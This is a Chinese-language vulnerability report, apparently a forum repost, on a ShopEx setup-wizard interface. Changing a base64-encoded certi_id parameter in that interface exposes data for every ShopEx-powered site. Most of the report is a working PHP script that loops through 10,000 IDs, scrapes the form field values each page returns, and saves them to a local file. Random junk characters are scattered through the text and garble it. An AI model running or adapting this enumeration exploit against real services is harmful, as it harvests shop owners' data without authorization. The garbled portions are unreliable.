ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
' a0 e4 S9 W6 r+ Z. K6 y* M/ b( {详细说明：
  a+ S( }0 Z+ i+ L问题出现在shopex 网店使用向导页面



8 p( S7 [; h  e( L, {" V' ihttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



7 Z) S$ w% |6 A/ Erefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
4 E: m4 X! }; {7 x, K$ m5 O
% ~+ \  x9 q1 c

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
  `. J. {. l, a- R

* C5 {1 _& {( i
6 S3 G. N, x( k6 u' y' c<?php

/ L6 M) j1 G8 P; g5 m' p                for ($i=1; $i < 10000; $i++) { //遍历
" _* z3 ^1 _5 z& y
5 _& A9 p8 \/ _8 s( e1 o                        ShowshopExD($i);
; c1 p( U8 s1 s, V& A0 e. `; x
8 U; C; T* |) r% t( Y                }

                function ShowshopExD($cid) {
2 ~* d' s' c/ F$ B7 t
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

4 \  [2 \) p% ~        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
  ~/ H+ r) X) a! W$ U  m- h
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
2 }6 \/ A7 x; \' m5 g' c6 r- Z+ a( g
        $result = curl_exec($ch);

& s6 Z2 G% C( Z/ N+ t: x% R0 r        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
  `& t4 B% z7 S# i' b# u
% {. e2 T, K- A( y" R  |        if(strpos($result,$refer))

( j: h1 N0 Q7 G: I( w        {
8 \( U2 f( b, L  |; U
4 ^" E0 Y1 k6 T1 K6 _. b: M                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
$ X% b3 s% V) D
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
5 u* I+ {: j, A, ^
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

& q- y4 e; u/ L. ~3 n% F                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
  c, E- q* Q, z  R$ \0 \
                }
  \9 u/ ]" P1 [4 G$ x
                echo '--------------------------------'."\r\n";

                fclose($fp);
  m* n: H' v* J$ _5 ^% E/ q/ V
9 o. F" h7 S. h: Y5 `7 u# q        }

        flush();
: b( |+ n- _8 a/ D( }" D1 B& j
        curl_close($ch);
5 P1 E! S  r- x4 j" @
                }
, z$ H6 n# `2 P. T; m4 X
?>
6 U; i7 ^+ g9 h% A0 G1 y漏洞证明：
& E- L5 B; C$ h" l4 _& W. Jhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式